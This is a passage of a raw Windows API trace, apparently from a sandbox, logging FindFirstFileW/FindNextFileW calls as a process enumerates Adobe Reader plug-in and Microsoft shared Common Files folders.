FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.658] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0149.658] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.658] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.658] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.RUS", cAlternateFileName="")) returned 1 [0149.658] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.658] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0149.658] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.659] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.659] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0149.659] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.659] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0149.659] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.659] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.659] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0149.659] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.660] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0149.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.660] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.660] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0149.660] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.660] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0149.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.661] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.661] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0149.661] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.661] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0149.661] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0149.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0149.661] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0149.662] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0149.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0149.662] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0149.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0149.708] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.708] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0149.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41916c0 [0149.709] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.709] FindNextFileW (in: hFindFile=0x41916c0, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0149.710] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0149.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0149.710] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0149.710] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0149.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0149.710] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0152.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.309] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.309] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0152.310] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0152.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0152.310] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0152.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0152.310] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.310] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0152.310] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.310] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.310] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0152.311] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0152.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0152.311] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0152.311] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common 